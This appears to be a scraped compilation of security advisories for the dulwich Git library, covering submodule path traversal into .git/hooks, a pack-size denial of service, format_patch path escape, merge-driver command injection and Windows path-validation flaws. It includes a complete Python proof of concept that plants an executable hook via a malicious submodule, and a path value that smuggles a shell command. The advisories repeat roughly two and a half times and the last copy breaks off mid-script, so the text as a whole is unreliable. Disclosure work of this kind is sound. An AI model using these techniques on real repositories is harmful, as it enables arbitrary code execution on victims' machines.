dulwich

Summary

dulwich.porcelain.submodule_update, and by extension porcelain.clone(..., recurse_submodules=True), materializes attacker-controlled submodule paths from a crafted upstream repository without path validation. A malicious .gitmodules plus a matching tree gitlink whose path is .git/hooks (or any other directory inside the parent repository's .git directory) causes the attacker's submodule tree contents to be written directly into the victim's .git/hooks/ directory, preserving executable mode bits. The dropped executables are then run by any subsequent git or dulwich command that invokes the matching hook, resulting in arbitrary code execution.

This is the dulwich equivalent of the upstream Git fixes for CVE-2024-32002 / CVE-2024-32004, which were never propagated into dulwich's separately implemented submodule porcelain.

Affected

• Package: dulwich (PyPI)
• Affected versions: >=0.23.2, <1.2.5
• Affected platforms: all (Linux, macOS, Windows). Exploitation does not require a case-insensitive or NTFS filesystem, because the path written is a literal .git/hooks rather than a case- or short-name-aliased form.

Affected entry points:

• dulwich.porcelain.submodule_update(repo, init=True, recursive=True)
• dulwich.porcelain.clone(source, target, recurse_submodules=True)
• dulwich submodule update CLI / dulwich clone --recurse-submodules CLI

Vulnerable code

The submodule path from the tree's gitlink entry (and matching .gitmodules) is consumed without validation in dulwich/porcelain/submodule.py.

The attacker-controlled path enters the loop from iter_cached_submodules (submodule.py#L154-L168):

for path, target_sha in submodules_to_update:
    path_str = (
        path.decode(DEFAULT_ENCODING) if isinstance(path, bytes) else path
    )

    submodule_name: bytes | None = None
    for sm_path, sm_url, sm_name in read_submodules(gitmodules_path):
        if sm_path == path:
            submodule_name = sm_name
            break

    if not submodule_name:
        continue

It flows unchecked into os.path.join and the filesystem (submodule.py#L187-L188):

            submodule_path = os.path.join(r.path, path_str)
            submodule_git_dir = os.path.join(r.controldir(), "modules", path_str)

Finally, the attacker tree's contents are materialized into that directory via build_index_from_tree with no validate_path_element argument, defaulting to the lax validator (submodule.py#L229-L234):

                    build_index_from_tree(
                        submodule_path,
                        sub_repo.index_path(),
                        sub_repo.object_store,
                        tree_id,
                    )

Three issues compound:

1. path_str originates from the parent repository's tree gitlink entry (attacker-controlled) and is never validated against .git, .., or other path-traversal patterns. The same value is read from the attacker-supplied .gitmodules blob via read_submodules, which also performs no validation.
2. submodule_path = os.path.join(r.path, path_str) therefore resolves to an attacker-chosen directory anywhere on disk (e.g. <worktree>/.git/hooks).
3. build_index_from_tree is called without validate_path_element, so it defaults to validate_path_element_default, which only rejects literal .git, ., and ... It does not refuse a root_path that is itself inside the parent's .git directory, and it honors the attacker tree's file modes including executable bits (0o100755).

Reachability

A direct production call path from a user invocation: porcelain.clone(source, target, recurse_submodules=True) at dulwich/porcelain/__init__.py:1548-1551 calls submodule_update(repo, init=True, recursive=True) once the parent clone completes, reaching the unsanitized loop at submodule.py#L154-L234.

The CLI command dulwich clone --recurse-submodules <url> reaches the same sink via dulwich/cli.py:2131.

Any service that exposes porcelain.clone(..., recurse_submodules=True) on attacker-supplied URLs is exposed: CI runners, repository import tools, package resolvers that use dulwich as a pure-Python git, and language-server "fetch dependency from git" features.

Proof of concept

End-to-end against pip-installed dulwich==1.2.4, demonstrating both the path-traversal primitive and the resulting code execution when the victim subsequently runs git. The payload writes a marker file rather than performing any destructive action.

import os, tempfile, subprocess
import dulwich.repo as r
import dulwich.porcelain as p
from dulwich.objects import Blob, Commit, Tree

WORKDIR = tempfile.mkdtemp(prefix="dulwich-poc-")
ATTACKER = os.path.join(WORKDIR, "att.git")
VICTIM_PARENT = os.path.join(WORKDIR, "vic_parent.git")
VICTIM_WT = os.path.join(WORKDIR, "vic_wt")
MARKER = os.path.join(WORKDIR, "marker")

# Attacker submodule contains a single file named "post-checkout"
# with mode 0755 and a benign shell payload that writes a marker file.
attacker = r.Repo.init_bare(ATTACKER, mkdir=True)
payload = b"#!/bin/sh\necho executed > " + MARKER.encode() + b"\n"
pb = Blob.from_string(payload)
attacker.object_store.add_object(pb)
at = Tree()
at.add(b"post-checkout", 0o100755, pb.id)
attacker.object_store.add_object(at)
ac = Commit()
ac.tree = at.id
ac.author = ac.committer = b"a <a@a>"
ac.author_time = ac.commit_time = 0
ac.author_timezone = ac.commit_timezone = 0
ac.message = b"x"
attacker.object_store.add_object(ac)
attacker.refs[b"refs/heads/master"] = ac.id
attacker.refs.set_symbolic_ref(b"HEAD", b"refs/heads/master")

# Victim parent has a .gitmodules and a tree gitlink, both pointing at
# path ".git/hooks". The gitlink targets the attacker submodule commit.
victim = r.Repo.init_bare(VICTIM_PARENT, mkdir=True)
gitmod = (
    b'[submodule "evil"]\n'
    b'\tpath = .git/hooks\n'
    b'\turl = ' + ATTACKER.encode() + b'\n'
)
gmb = Blob.from_string(gitmod)
victim.object_store.add_object(gmb)
vt = Tree()
vt.add(b".gitmodules", 0o100644, gmb.id)
vt.add(b".git/hooks", 0o160000, ac.id)
victim.object_store.add_object(vt)
vc = Commit()
vc.tree = vt.id
vc.author = vc.committer = b"a <a@a>"
vc.author_time = vc.commit_time = 0
vc.author_timezone = vc.commit_timezone = 0
vc.message = b"v"
victim.object_store.add_object(vc)
victim.refs[b"refs/heads/master"] = vc.id
victim.refs.set_symbolic_ref(b"HEAD", b"refs/heads/master")

# Single victim call: clone with recurse_submodules=True
p.clone(VICTIM_PARENT, VICTIM_WT, recurse_submodules=True)

hook = os.path.join(VICTIM_WT, ".git", "hooks", "post-checkout")
assert os.path.exists(hook), "hook was not written"
assert os.stat(hook).st_mode & 0o111, "hook is not executable"

# git running in the victim worktree then executes the dropped hook
subprocess.run(["git", "-C", VICTIM_WT, "checkout", "master"], check=True,
               capture_output=True)
assert os.path.exists(MARKER), "hook did not fire"
print("Code execution confirmed:", open(MARKER).read().strip())

The trigger surface is broader than this proof of concept: the dropped file fires for any matching hook name (post-checkout, pre-commit, post-merge, post-rewrite, post-applypatch, and others). dulwich itself executes several hooks (pre-commit, commit-msg, post-commit, pre-receive, update, post-receive; see dulwich/hooks.py and dulwich/repo.py), so a victim using only dulwich is also reachable without upstream Git.

Credit

tonghuaroot

Impact

An uncontrolled-resource-consumption (memory exhaustion) denial-of-service vulnerability (CWE-400 / CWE-789).

A client with push access could push a tiny crafted thin pack (~174 bytes) whose delta header declares a huge dest_size. When dulwich ingested it via add_thin_pack / apply_delta, it would allocate hundreds of MB of memory based on that attacker-controlled size, with no relationship to the actual bytes received.

Who is impacted: Operators running a Dulwich-based Git server that exposes git-receive-pack (i.e. accepts pushes) - for example via dulwich.server functionality, the HTTP smart server, or anything built on ReceivePackHandler.

Patches

Patched in 1.2.5.

add_thin_pack now accepts a max_input_size keyword (bytes; 0/None = unlimited, matching git's semantics), and ReceivePackHandler reads receive.maxInputSize from the repository config and passes it through. Wire reads are counted and a PackInputTooLarge exception is raised once the cap is exceeded - equivalent to git index-pack --max-input-size.

Users should upgrade to Dulwich 1.2.5 or later and set receive.maxInputSize in their server's repository config to a sane bound for their environment.

Workarounds

On unpatched versions, receive.maxInputSize has no effect, so it cannot be used as a workaround. Until upgrading, operators should:

• Restrict dulwich-receive-pack (push) access to trusted, authenticated clients only, or disable it entirely on servers that only need to serve fetches.
• Run the server under an OS-level memory limit (e.g. ulimit, cgroups/MemoryMax, or a container memory limit) so a malicious push is killed rather than taking down the host.

Resources

• git's receive.maxInputSize / git index-pack --max-input-size documentation
• Reported by Liyi, Ziyue, Strick, Maurice and Chenchen @ University of Sydney

Impact

dulwich.porcelain.format_patch(outdir=...) derives each patch filename from the commit's subject line. Prior to this fix, get_summary only replaced spaces with dashes - path separators (/, ), parent-directory components (..), and other filename-hostile characters (e.g. :) were preserved verbatim and passed straight into os.path.join(outdir, f"{i:04d}-{summary}.patch").

A malicious commit subject could therefore direct the generated patch file outside the requested outdir. Reduced examples:

• x/../../x produced /0001-x/../../x.patch, resolving two directories above outdir.
• x....\x produced the equivalent escape on Windows, here \ is also a path separator.

Related issues from the same root cause:

• Subjects containing characters that are illegal in Windows filenames (e.g. :) caused format_patch to fail outright on Windows, where git would have succeeded.
• Very long subjects produced excessively long filenames that could exceed filesystem limits; git truncates them.

Anyone calling porcelain.format_patch (or the dulwich format-patch CLI) against untrusted commits - for example, a service that runs format-patch over user-supplied repositories or pull requests - could have patch files written to attacker-chosen locations within the process's write permissions.

Patches

Fixed in Dulwich 1.2.5. Users should upgrade.

dulwich.patch.get_summary now mirrors git's format_sanitized_subject: only [A-Za-z0-9._] are kept, runs of other characters collapse to a single -, consecutive . collapse to a single ., trailing ./- are stripped, and the result is length-limited. This makes the returned string safe to embed as a filename component, so format_patch can no longer be steered out of outdir via the commit subject.

Workarounds

Until upgrading, callers that pass untrusted commits to porcelain.format_patch can:

• Use stdout=True and write the patch to a destination they control, rather than letting format_patch choose the filename.
• Validate the chosen path before opening - e.g. compare os.path.realpath(returned_path) against os.path.realpath(outdir) and reject any patch whose resolved path is not inside outdir.
• Pre-screen commits and refuse to format any whose subject's first line contains /, , .., or other characters that are not safe on the target filesystem.

Resources

• Fix commit: https://github.com/jelmer/dulwich/commit/c2446e51b
• Affected API: dulwich.porcelain.format_patch / dulwich format-patch
• Reference behavior: git's format_sanitized_subject in pretty.c

Summary

Dulwich's ProcessMergeDriver substitutes the file path (from the git tree, controllable by an attacker via a malicious branch) into the merge driver command via the %P placeholder and executes it with subprocess.run(..., shell=True). An attacker who can cause a victim to merge an untrusted branch can achieve arbitrary command execution by crafting malicious file paths.

Description

• Type: Command Injection
• Source: merge.py line 195 — path from merge tree (from repository content when merging untrusted branch)
• Sink: merge_drivers.py lines 124–127 — subprocess.run(cmd, shell=True) where cmd includes path via %P placeholder
• Impact: Arbitrary code execution when merging from a malicious repository. Requires the user to have a merge driver configured that uses the %P placeholder.

Resources

• Repository: https://github.com/dulwich/dulwich
• Vulnerable file: dulwich/merge_drivers.py (lines 119–129)

Proof of Concept

from dulwich.attrs import GitAttributes, Pattern
from dulwich.config import ConfigDict
from dulwich.merge import merge_blobs
from dulwich.objects import Blob

# Merge driver with %P (path) - typical for custom merge tools
config = ConfigDict()
config.set((b"merge", b"injectable"), b"driver", b"echo %P > %A")

patterns = [(Pattern(b"*"), {b"merge": b"injectable"})]
gitattributes = GitAttributes(patterns)

base = Blob.from_string(b"base")
ours = Blob.from_string(b"ours")
theirs = Blob.from_string(b"theirs")

# Malicious path from attacker-controlled git tree: injects "touch /tmp/pwned"
malicious_path = b"x; touch /tmp/pwned #"

merge_blobs(base, ours, theirs, path=malicious_path,
            gitattributes=gitattributes, config=config)
# => Executes: echo x; touch /tmp/pwned #
# => Shell runs: echo x, then touch /tmp/pwned

Fix

merge_drivers_shell_escape.patch

Impact

Arbitrary file write leading to remote code execution when cloning or checking out a malicious Git repository on Windows.

Dulwich's path-element validator accepted tree entries whose filenames contained bytes that Windows interprets as structural path syntax:

• \ — the Windows path separator. A single tree entry named .git\hooks\pre-commit.exe was treated as one valid filename on POSIX but materialized as nested directories .git/hooks/pre-commit.exe on Windows, planting a file inside the victim's .git directory. Git for Windows then executes that hook on the next git commit, giving the attacker arbitrary code execution in the victim's user context. The same primitive can be used with ..\outside.txt to escape the work tree.
• : — the NTFS alternate-data-stream marker. .git::$INDEX_ALLOCATION writes directly into the victim's .git entity, bypassing the .git-as-a-directory check.
• git~ — NTFS 8.3 short-name aliases of .git. Only the literal git~1 was rejected; git~2, git~10, GIT~1, etc. were all accepted.

Contributing configuration bugs made matters worse. The core.protectNTFS and core.protectHFS settings were looked up under a wrong option name and so user-set values were silently ignored, and core.protectNTFS only defaulted to true on Windows (Git upstream has defaulted it to true everywhere since CVE-2019-1353). Both have been corrected.

Anyone who clones, fetches, or checks out an untrusted repository with Dulwich on Windows - either through the Dulwich CLI, porcelain.clone, or any downstream tool built on Dulwich - is impacted. POSIX clones are not directly exploitable (on POSIX \ is a literal filename byte), but a POSIX user can unknowingly propagate a malicious tree to Windows consumers via push or re-publication.

Patches

Fixed in Dulwich 1.2.5. Users should upgrade to 1.2.5 or later.

The fix lives in three commits:

• Read core.protectNTFS / core.protectHFS under their documented option names so user-set values are honored.
• Default core.protectNTFS to true on every platform, matching Git's PROTECT_NTFS_DEFAULT=1.
• Reject , :, and all git~ 8.3 short-name forms in validate_path_element_ntfs.

Workarounds

There is no effective pre-patch workaround. On affected versions the core.protectNTFS configuration key was silently ignored, so setting it to true does not mitigate the issue. Users who cannot upgrade should avoid cloning, fetching, or checking out untrusted repositories with Dulwich on Windows. After upgrading the NTFS validator is on by default on every platform, so no additional configuration is required.

Resources

• Git upstream path validation: https://github.com/git/git/blob/master/path.c (is_ntfs_dotgit, verify_path)
• CVE-2019-1353 — the Git upstream vulnerability that established core.protectNTFS = true as the cross-platform default
• CVE-2019-1354 — backslash-in-tree-path class in Git, analogous to this issue

Summary

dulwich.porcelain.submodule_update, and by extension porcelain.clone(..., recurse_submodules=True), materializes attacker-controlled submodule paths from a crafted upstream repository without path validation. A malicious .gitmodules plus a matching tree gitlink whose path is .git/hooks (or any other directory inside the parent repository's .git directory) causes the attacker's submodule tree contents to be written directly into the victim's .git/hooks/ directory, preserving executable mode bits. The dropped executables are then run by any subsequent git or dulwich command that invokes the matching hook, resulting in arbitrary code execution.

This is the dulwich equivalent of the upstream Git fixes for CVE-2024-32002 / CVE-2024-32004, which were never propagated into dulwich's separately implemented submodule porcelain.

Affected

• Package: dulwich (PyPI)
• Affected versions: >=0.23.2, <1.2.5
• Affected platforms: all (Linux, macOS, Windows). Exploitation does not require a case-insensitive or NTFS filesystem, because the path written is a literal .git/hooks rather than a case- or short-name-aliased form.

Affected entry points:

• dulwich.porcelain.submodule_update(repo, init=True, recursive=True)
• dulwich.porcelain.clone(source, target, recurse_submodules=True)
• dulwich submodule update CLI / dulwich clone --recurse-submodules CLI

Vulnerable code

The submodule path from the tree's gitlink entry (and matching .gitmodules) is consumed without validation in dulwich/porcelain/submodule.py.

The attacker-controlled path enters the loop from iter_cached_submodules (submodule.py#L154-L168):

for path, target_sha in submodules_to_update:
    path_str = (
        path.decode(DEFAULT_ENCODING) if isinstance(path, bytes) else path
    )

    submodule_name: bytes | None = None
    for sm_path, sm_url, sm_name in read_submodules(gitmodules_path):
        if sm_path == path:
            submodule_name = sm_name
            break

    if not submodule_name:
        continue

It flows unchecked into os.path.join and the filesystem (submodule.py#L187-L188):

            submodule_path = os.path.join(r.path, path_str)
            submodule_git_dir = os.path.join(r.controldir(), "modules", path_str)

Finally, the attacker tree's contents are materialized into that directory via build_index_from_tree with no validate_path_element argument, defaulting to the lax validator (submodule.py#L229-L234):

                    build_index_from_tree(
                        submodule_path,
                        sub_repo.index_path(),
                        sub_repo.object_store,
                        tree_id,
                    )

Three issues compound:

1. path_str originates from the parent repository's tree gitlink entry (attacker-controlled) and is never validated against .git, .., or other path-traversal patterns. The same value is read from the attacker-supplied .gitmodules blob via read_submodules, which also performs no validation.
2. submodule_path = os.path.join(r.path, path_str) therefore resolves to an attacker-chosen directory anywhere on disk (e.g. <worktree>/.git/hooks).
3. build_index_from_tree is called without validate_path_element, so it defaults to validate_path_element_default, which only rejects literal .git, ., and ... It does not refuse a root_path that is itself inside the parent's .git directory, and it honors the attacker tree's file modes including executable bits (0o100755).

Reachability

A direct production call path from a user invocation: porcelain.clone(source, target, recurse_submodules=True) at dulwich/porcelain/__init__.py:1548-1551 calls submodule_update(repo, init=True, recursive=True) once the parent clone completes, reaching the unsanitized loop at submodule.py#L154-L234.

The CLI command dulwich clone --recurse-submodules <url> reaches the same sink via dulwich/cli.py:2131.

Any service that exposes porcelain.clone(..., recurse_submodules=True) on attacker-supplied URLs is exposed: CI runners, repository import tools, package resolvers that use dulwich as a pure-Python git, and language-server "fetch dependency from git" features.

Proof of concept

End-to-end against pip-installed dulwich==1.2.4, demonstrating both the path-traversal primitive and the resulting code execution when the victim subsequently runs git. The payload writes a marker file rather than performing any destructive action.

import os, tempfile, subprocess
import dulwich.repo as r
import dulwich.porcelain as p
from dulwich.objects import Blob, Commit, Tree

WORKDIR = tempfile.mkdtemp(prefix="dulwich-poc-")
ATTACKER = os.path.join(WORKDIR, "att.git")
VICTIM_PARENT = os.path.join(WORKDIR, "vic_parent.git")
VICTIM_WT = os.path.join(WORKDIR, "vic_wt")
MARKER = os.path.join(WORKDIR, "marker")

# Attacker submodule contains a single file named "post-checkout"
# with mode 0755 and a benign shell payload that writes a marker file.
attacker = r.Repo.init_bare(ATTACKER, mkdir=True)
payload = b"#!/bin/sh\necho executed > " + MARKER.encode() + b"\n"
pb = Blob.from_string(payload)
attacker.object_store.add_object(pb)
at = Tree()
at.add(b"post-checkout", 0o100755, pb.id)
attacker.object_store.add_object(at)
ac = Commit()
ac.tree = at.id
ac.author = ac.committer = b"a <a@a>"
ac.author_time = ac.commit_time = 0
ac.author_timezone = ac.commit_timezone = 0
ac.message = b"x"
attacker.object_store.add_object(ac)
attacker.refs[b"refs/heads/master"] = ac.id
attacker.refs.set_symbolic_ref(b"HEAD", b"refs/heads/master")

# Victim parent has a .gitmodules and a tree gitlink, both pointing at
# path ".git/hooks". The gitlink targets the attacker submodule commit.
victim = r.Repo.init_bare(VICTIM_PARENT, mkdir=True)
gitmod = (
    b'[submodule "evil"]\n'
    b'\tpath = .git/hooks\n'
    b'\turl = ' + ATTACKER.encode() + b'\n'
)
gmb = Blob.from_string(gitmod)
victim.object_store.add_object(gmb)
vt = Tree()
vt.add(b".gitmodules", 0o100644, gmb.id)
vt.add(b".git/hooks", 0o160000, ac.id)
victim.object_store.add_object(vt)
vc = Commit()
vc.tree = vt.id
vc.author = vc.committer = b"a <a@a>"
vc.author_time = vc.commit_time = 0
vc.author_timezone = vc.commit_timezone = 0
vc.message = b"v"
victim.object_store.add_object(vc)
victim.refs[b"refs/heads/master"] = vc.id
victim.refs.set_symbolic_ref(b"HEAD", b"refs/heads/master")

# Single victim call: clone with recurse_submodules=True
p.clone(VICTIM_PARENT, VICTIM_WT, recurse_submodules=True)

hook = os.path.join(VICTIM_WT, ".git", "hooks", "post-checkout")
assert os.path.exists(hook), "hook was not written"
assert os.stat(hook).st_mode & 0o111, "hook is not executable"

# git running in the victim worktree then executes the dropped hook
subprocess.run(["git", "-C", VICTIM_WT, "checkout", "master"], check=True,
               capture_output=True)
assert os.path.exists(MARKER), "hook did not fire"
print("Code execution confirmed:", open(MARKER).read().strip())

The trigger surface is broader than this proof of concept: the dropped file fires for any matching hook name (post-checkout, pre-commit, post-merge, post-rewrite, post-applypatch, and others). dulwich itself executes several hooks (pre-commit, commit-msg, post-commit, pre-receive, update, post-receive; see dulwich/hooks.py and dulwich/repo.py), so a victim using only dulwich is also reachable without upstream Git.

Credit

tonghuaroot

Impact

An uncontrolled-resource-consumption (memory exhaustion) denial-of-service vulnerability (CWE-400 / CWE-789).

A client with push access could push a tiny crafted thin pack (~174 bytes) whose delta header declares a huge dest_size. When dulwich ingested it via add_thin_pack / apply_delta, it would allocate hundreds of MB of memory based on that attacker-controlled size, with no relationship to the actual bytes received.

Who is impacted: Operators running a Dulwich-based Git server that exposes git-receive-pack (i.e. accepts pushes) - for example via dulwich.server functionality, the HTTP smart server, or anything built on ReceivePackHandler.

Patches

Patched in 1.2.5.

add_thin_pack now accepts a max_input_size keyword (bytes; 0/None = unlimited, matching git's semantics), and ReceivePackHandler reads receive.maxInputSize from the repository config and passes it through. Wire reads are counted and a PackInputTooLarge exception is raised once the cap is exceeded - equivalent to git index-pack --max-input-size.

Users should upgrade to Dulwich 1.2.5 or later and set receive.maxInputSize in their server's repository config to a sane bound for their environment.

Workarounds

On unpatched versions, receive.maxInputSize has no effect, so it cannot be used as a workaround. Until upgrading, operators should:

• Restrict dulwich-receive-pack (push) access to trusted, authenticated clients only, or disable it entirely on servers that only need to serve fetches.
• Run the server under an OS-level memory limit (e.g. ulimit, cgroups/MemoryMax, or a container memory limit) so a malicious push is killed rather than taking down the host.

Resources

• git's receive.maxInputSize / git index-pack --max-input-size documentation
• Reported by Liyi, Ziyue, Strick, Maurice and Chenchen @ University of Sydney

Impact

dulwich.porcelain.format_patch(outdir=...) derives each patch filename from the commit's subject line. Prior to this fix, get_summary only replaced spaces with dashes - path separators (/, ), parent-directory components (..), and other filename-hostile characters (e.g. :) were preserved verbatim and passed straight into os.path.join(outdir, f"{i:04d}-{summary}.patch").

A malicious commit subject could therefore direct the generated patch file outside the requested outdir. Reduced examples:

• x/../../x produced /0001-x/../../x.patch, resolving two directories above outdir.
• x....\x produced the equivalent escape on Windows, here \ is also a path separator.

Related issues from the same root cause:

• Subjects containing characters that are illegal in Windows filenames (e.g. :) caused format_patch to fail outright on Windows, where git would have succeeded.
• Very long subjects produced excessively long filenames that could exceed filesystem limits; git truncates them.

Anyone calling porcelain.format_patch (or the dulwich format-patch CLI) against untrusted commits - for example, a service that runs format-patch over user-supplied repositories or pull requests - could have patch files written to attacker-chosen locations within the process's write permissions.

Patches

Fixed in Dulwich 1.2.5. Users should upgrade.

dulwich.patch.get_summary now mirrors git's format_sanitized_subject: only [A-Za-z0-9._] are kept, runs of other characters collapse to a single -, consecutive . collapse to a single ., trailing ./- are stripped, and the result is length-limited. This makes the returned string safe to embed as a filename component, so format_patch can no longer be steered out of outdir via the commit subject.

Workarounds

Until upgrading, callers that pass untrusted commits to porcelain.format_patch can:

• Use stdout=True and write the patch to a destination they control, rather than letting format_patch choose the filename.
• Validate the chosen path before opening - e.g. compare os.path.realpath(returned_path) against os.path.realpath(outdir) and reject any patch whose resolved path is not inside outdir.
• Pre-screen commits and refuse to format any whose subject's first line contains /, , .., or other characters that are not safe on the target filesystem.

Resources

• Fix commit: https://github.com/jelmer/dulwich/commit/c2446e51b
• Affected API: dulwich.porcelain.format_patch / dulwich format-patch
• Reference behavior: git's format_sanitized_subject in pretty.c

Summary

Dulwich's ProcessMergeDriver substitutes the file path (from the git tree, controllable by an attacker via a malicious branch) into the merge driver command via the %P placeholder and executes it with subprocess.run(..., shell=True). An attacker who can cause a victim to merge an untrusted branch can achieve arbitrary command execution by crafting malicious file paths.

Description

• Type: Command Injection
• Source: merge.py line 195 — path from merge tree (from repository content when merging untrusted branch)
• Sink: merge_drivers.py lines 124–127 — subprocess.run(cmd, shell=True) where cmd includes path via %P placeholder
• Impact: Arbitrary code execution when merging from a malicious repository. Requires the user to have a merge driver configured that uses the %P placeholder.

Resources

• Repository: https://github.com/dulwich/dulwich
• Vulnerable file: dulwich/merge_drivers.py (lines 119–129)

Proof of Concept

from dulwich.attrs import GitAttributes, Pattern
from dulwich.config import ConfigDict
from dulwich.merge import merge_blobs
from dulwich.objects import Blob

# Merge driver with %P (path) - typical for custom merge tools
config = ConfigDict()
config.set((b"merge", b"injectable"), b"driver", b"echo %P > %A")

patterns = [(Pattern(b"*"), {b"merge": b"injectable"})]
gitattributes = GitAttributes(patterns)

base = Blob.from_string(b"base")
ours = Blob.from_string(b"ours")
theirs = Blob.from_string(b"theirs")

# Malicious path from attacker-controlled git tree: injects "touch /tmp/pwned"
malicious_path = b"x; touch /tmp/pwned #"

merge_blobs(base, ours, theirs, path=malicious_path,
            gitattributes=gitattributes, config=config)
# => Executes: echo x; touch /tmp/pwned #
# => Shell runs: echo x, then touch /tmp/pwned

Fix

merge_drivers_shell_escape.patch

Impact

Arbitrary file write leading to remote code execution when cloning or checking out a malicious Git repository on Windows.

Dulwich's path-element validator accepted tree entries whose filenames contained bytes that Windows interprets as structural path syntax:

• \ — the Windows path separator. A single tree entry named .git\hooks\pre-commit.exe was treated as one valid filename on POSIX but materialized as nested directories .git/hooks/pre-commit.exe on Windows, planting a file inside the victim's .git directory. Git for Windows then executes that hook on the next git commit, giving the attacker arbitrary code execution in the victim's user context. The same primitive can be used with ..\outside.txt to escape the work tree.
• : — the NTFS alternate-data-stream marker. .git::$INDEX_ALLOCATION writes directly into the victim's .git entity, bypassing the .git-as-a-directory check.
• git~ — NTFS 8.3 short-name aliases of .git. Only the literal git~1 was rejected; git~2, git~10, GIT~1, etc. were all accepted.

Contributing configuration bugs made matters worse. The core.protectNTFS and core.protectHFS settings were looked up under a wrong option name and so user-set values were silently ignored, and core.protectNTFS only defaulted to true on Windows (Git upstream has defaulted it to true everywhere since CVE-2019-1353). Both have been corrected.

Anyone who clones, fetches, or checks out an untrusted repository with Dulwich on Windows - either through the Dulwich CLI, porcelain.clone, or any downstream tool built on Dulwich - is impacted. POSIX clones are not directly exploitable (on POSIX \ is a literal filename byte), but a POSIX user can unknowingly propagate a malicious tree to Windows consumers via push or re-publication.

Patches

Fixed in Dulwich 1.2.5. Users should upgrade to 1.2.5 or later.

The fix lives in three commits:

• Read core.protectNTFS / core.protectHFS under their documented option names so user-set values are honored.
• Default core.protectNTFS to true on every platform, matching Git's PROTECT_NTFS_DEFAULT=1.
• Reject , :, and all git~ 8.3 short-name forms in validate_path_element_ntfs.

Workarounds

There is no effective pre-patch workaround. On affected versions the core.protectNTFS configuration key was silently ignored, so setting it to true does not mitigate the issue. Users who cannot upgrade should avoid cloning, fetching, or checking out untrusted repositories with Dulwich on Windows. After upgrading the NTFS validator is on by default on every platform, so no additional configuration is required.

Resources

• Git upstream path validation: https://github.com/git/git/blob/master/path.c (is_ntfs_dotgit, verify_path)
• CVE-2019-1353 — the Git upstream vulnerability that established core.protectNTFS = true as the cross-platform default
• CVE-2019-1354 — backslash-in-tree-path class in Git, analogous to this issue

Summary

dulwich.porcelain.submodule_update, and by extension porcelain.clone(..., recurse_submodules=True), materializes attacker-controlled submodule paths from a crafted upstream repository without path validation. A malicious .gitmodules plus a matching tree gitlink whose path is .git/hooks (or any other directory inside the parent repository's .git directory) causes the attacker's submodule tree contents to be written directly into the victim's .git/hooks/ directory, preserving executable mode bits. The dropped executables are then run by any subsequent git or dulwich command that invokes the matching hook, resulting in arbitrary code execution.

This is the dulwich equivalent of the upstream Git fixes for CVE-2024-32002 / CVE-2024-32004, which were never propagated into dulwich's separately implemented submodule porcelain.

Affected

• Package: dulwich (PyPI)
• Affected versions: >=0.23.2, <1.2.5
• Affected platforms: all (Linux, macOS, Windows). Exploitation does not require a case-insensitive or NTFS filesystem, because the path written is a literal .git/hooks rather than a case- or short-name-aliased form.

Affected entry points:

• dulwich.porcelain.submodule_update(repo, init=True, recursive=True)
• dulwich.porcelain.clone(source, target, recurse_submodules=True)
• dulwich submodule update CLI / dulwich clone --recurse-submodules CLI

Vulnerable code

The submodule path from the tree's gitlink entry (and matching .gitmodules) is consumed without validation in dulwich/porcelain/submodule.py.

The attacker-controlled path enters the loop from iter_cached_submodules (submodule.py#L154-L168):

for path, target_sha in submodules_to_update:
    path_str = (
        path.decode(DEFAULT_ENCODING) if isinstance(path, bytes) else path
    )

    submodule_name: bytes | None = None
    for sm_path, sm_url, sm_name in read_submodules(gitmodules_path):
        if sm_path == path:
            submodule_name = sm_name
            break

    if not submodule_name:
        continue

It flows unchecked into os.path.join and the filesystem (submodule.py#L187-L188):

            submodule_path = os.path.join(r.path, path_str)
            submodule_git_dir = os.path.join(r.controldir(), "modules", path_str)

Finally, the attacker tree's contents are materialized into that directory via build_index_from_tree with no validate_path_element argument, defaulting to the lax validator (submodule.py#L229-L234):

                    build_index_from_tree(
                        submodule_path,
                        sub_repo.index_path(),
                        sub_repo.object_store,
                        tree_id,
                    )

Three issues compound:

1. path_str originates from the parent repository's tree gitlink entry (attacker-controlled) and is never validated against .git, .., or other path-traversal patterns. The same value is read from the attacker-supplied .gitmodules blob via read_submodules, which also performs no validation.
2. submodule_path = os.path.join(r.path, path_str) therefore resolves to an attacker-chosen directory anywhere on disk (e.g. <worktree>/.git/hooks).
3. build_index_from_tree is called without validate_path_element, so it defaults to validate_path_element_default, which only rejects literal .git, ., and ... It does not refuse a root_path that is itself inside the parent's .git directory, and it honors the attacker tree's file modes including executable bits (0o100755).

Reachability

A direct production call path from a user invocation: porcelain.clone(source, target, recurse_submodules=True) at dulwich/porcelain/__init__.py:1548-1551 calls submodule_update(repo, init=True, recursive=True) once the parent clone completes, reaching the unsanitized loop at submodule.py#L154-L234.

The CLI command dulwich clone --recurse-submodules <url> reaches the same sink via dulwich/cli.py:2131.

Any service that exposes porcelain.clone(..., recurse_submodules=True) on attacker-supplied URLs is exposed: CI runners, repository import tools, package resolvers that use dulwich as a pure-Python git, and language-server "fetch dependency from git" features.

Proof of concept

End-to-end against pip-installed dulwich==1.2.4, demonstrating both the path-traversal primitive and the resulting code execution when the victim subsequently runs git. The payload writes a marker file rather than performing any destructive action.

import os, tempfile, subprocess
import dulwich.repo as r
import dulwich.porcelain as p
from dulwich.objects import Blob, Commit, Tree

WORKDIR = tempfile.mkdtemp(prefix="dulwich-poc-")
ATTACKER = os.path.join(WORKDIR, "att.git")
VICTIM_PARENT = os.path.join(WORKDIR, "vic_parent.git")
VICTIM_WT = os.path.join(WORKDIR, "vic_wt")
MARKER = os.path.join(WORKDIR, "marker")

# Attacker submodule contains a single file named "post-checkout"
# with mode 0755 and a benign shell payload that writes a marker file.
attacker = r.Repo.init_bare(ATTACKER, mkdir=True)
payload = b"#!/bin/sh\necho executed > " + MARKER.encode() + b"\n"
pb = Blob.from_string(payload)
attacker.object_store.add_object(pb)
at = Tree()
at.add(b"post-checkout", 0o100755, pb.id)
attacker.object_store.add_object(at)
ac = Commit()
ac.tree = at.id
ac.author = ac.committer = b"a <a@a>"
ac.author_time = ac.commit_time = 0
ac.author_timezone = ac.commit_timezone = 0
ac.message = b"x"
attacker.object_store.add_object(ac)
attacker.refs[b"refs/heads/master"] = ac.id
attacker.refs.set_symbolic_ref(b"HEAD", b"refs/heads/master")

# Victim parent has a .gitmodules and a tree gitlink, both pointing at
# path ".git/hooks". The gitlink targets the attacker submodule commit.
victim = r.Repo.init_bare(VICTIM_PARENT, mkdir=True)
gitmod = (
    b'[submodule "evil"]\n'
    b'\tpath = .git/hooks\n'
    b'\turl = ' + ATTACKER.encode() + b'\n'
)
gmb = Blob.from_string(gitmod)
victim.object_store.add_object(gmb)
vt = Tree()
